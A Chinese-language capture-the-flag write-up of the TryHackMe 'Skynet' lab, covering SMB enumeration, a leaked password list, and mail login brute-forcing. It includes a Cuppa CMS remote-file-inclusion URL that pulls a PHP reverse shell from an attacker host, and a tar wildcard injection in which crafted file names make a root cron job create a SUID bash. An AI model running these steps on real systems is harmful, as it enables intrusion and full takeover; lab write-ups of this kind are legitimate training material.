tryhackme--skynet
端口扫描
通过nmap扫描和fscan扫描(这两个扫描器端口扫描结果有差异)可以获得如下开放端口信息
10.10.240.208:445 open
10.10.240.208:139 open
10.10.240.208:80 open
smb服务利用
- 通过枚举smb服务的用户名可以找到anonymous以及milesdyson这两个用户,其中anonymous具有匿名读写权限
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.240.208\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (skynet server (Samba, Ubuntu))
| Users: 2
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.240.208\anonymous:
| Type: STYPE_DISKTREE
| Comment: Skynet Anonymous Share
| Users: 0
| Max Users: <unlimited>
| Path: C:\srv\samba
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.240.208\milesdyson:
| Type: STYPE_DISKTREE
| Comment: Miles Dyson Personal Share
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\milesdyson\share
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.240.208\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
| smb-enum-users:
| SKYNET\milesdyson (RID: 1000)
| Full name:
| Description:
|_ Flags: Normal user account
Nmap done: 1 IP address (1 host up) scanned in 77.16 seconds
- 登录匿名用户查看文件信息,比较重要的信息是/log/log1.txt文件中存有大量密码信息
cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator
web服务利用
- 通过对80端口目录扫描,能够发现存在squirrelmail服务
18:34:25] Starting:
[18:34:33] 301 - 311B - /js -> http://10.10.240.208/js/
[18:35:11] 301 - 314B - /admin -> http://10.10.240.208/admin/
[18:35:44] 301 - 315B - /config -> http://10.10.240.208/config/
[18:35:48] 301 - 312B - /css -> http://10.10.240.208/css/
[18:36:05] 200 - 523B - /index.html
[18:38:55] 301 - 321B - /squirrelmail -> http://10.10.240.208/squirrelmail/
- 枚举milesdyson用户名和上文找到的密码列表可以爆破出密码为milesdyson:cyborg007haloterminator
- 通过exploit-db搜索1.4.23版本的squirrelmail服务漏洞发现可能存在CVE-2017-7692漏洞,通过exp攻击一下,结果失败了,只能再看看其他路子

- 翻看milesdyson用户的邮件可以找到smb的密码为`)s{A&2Z=F^n_E.B``


- 使用milesdyson用户登录smb服务,发现有一个很明显的提示文件
smbclient -U milesdyson //10.10.240.208/milesdyson

important.txt信息如下:
1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
- 对/45kra24zxs28v3yd子目录进行目录扫描,可以找到管理后台,管理后台是一个cuppa cms
──(root💀kali)-[/usr/local/dirsearch-master]
└─# python3 dirsearch.py -u http://10.10.4.118/45kra24zxs28v3yd/ -x 403
/usr/local/dirsearch-master/thirdparty/requests/__init__.py:90: RequestsDependencyWarning: urllib3 (1.26.12) or chardet (5.0.0) doesn't match a supported version!
RequestsDependencyWarning)
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10909
Output File: /usr/local/dirsearch-master/reports/10.10.4.118/-45kra24zxs28v3yd-_23-07-21_20-33-29.txt
Error Log: /usr/local/dirsearch-master/logs/errors-23-07-21_20-33-29.log
Target: http://10.10.4.118/45kra24zxs28v3yd/
[20:33:30] Starting:
[20:34:05] 301 - 335B - /45kra24zxs28v3yd/administrator -> http://10.10.4.118/45kra24zxs28v3yd/administrator/
[20:34:05] 200 - 5KB - /45kra24zxs28v3yd/administrator/
[20:34:05] 200 - 5KB - /45kra24zxs28v3yd/administrator/index.php
[20:34:27] 200 - 418B - /45kra24zxs28v3yd/index.html
Task Completed

- 通过exploit-db搜索cuppa cms的漏洞发现该cms曾经存在文件包含漏洞,可以进行远程文件包含或者本地文件包含
exploit-db给出了利用方式,我们这里使用远程文件包含的方式进行利用

首先复制出kali中的php反弹shell脚本,路径在/usr/share/webshells/php/php-reverse-shell.php,只需要更改ip和端口号为我们的攻击机器即可

在攻击机上shell所在的文件夹下用python开启http服务
本地用nc开启监听
然后请求如下url即可成功获取shell
http://10.10.4.118/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.14.57.27:8000/php-reverse-shell.php
权限提升
- 拿到shell以后发现我们当前用户的为www-data,这里可以用靶机存在的python环境获得交互式shell
which python #验证目标机有无Python环境 python -c "import pty ; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shell
- 进入到
/home/milesdyson/backups文件夹下发现有一个backup.sh脚本,linux下的tar cf命令,其中c为创建的意思,f为文件的意思,使用tar cf可以将一个或多个文件压缩为.tar格式
$ cd backups
$ ls
backup.sh
backup.tgz
$ cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
- 查看计划任务发现执行backup.sh的是一个定时任务,1分钟执行一次

- 因此我们可以通过在/var/www/html下添加
–checkpoint=1文件(启用检查点功能)和–checkpoint-action=exec=xxx文件(指定要执行的操作,检查点值为1,每归档一个文件都执行指定操作),那么当tar处理到以上文件时,相关的文件名将会被有效地视为tar命令的参数--从而执行某些操作。
官方文档:https://www.gnu.org/software/tar/manual/html_section/checkpoints.html
在/var/www/html下创建一个脚本:
$ cd /var/www/html
$ echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.sh
在/var/www/html下创建两个文件夹:
$ touch "/var/www/html/--checkpoint=1"
$ touch "/var/www/html/--checkpoint-action=exec=sh newroot.sh"
这两个文件夹的名在tar执行的时候会被当做参数执行,从而以root权限执行sh newroot.sh脚本,在/tmp下创建一个nroot的可执行文件
- 执行
/tmp/nroot -p即可获得root权限

浙公网安备 33010602011771号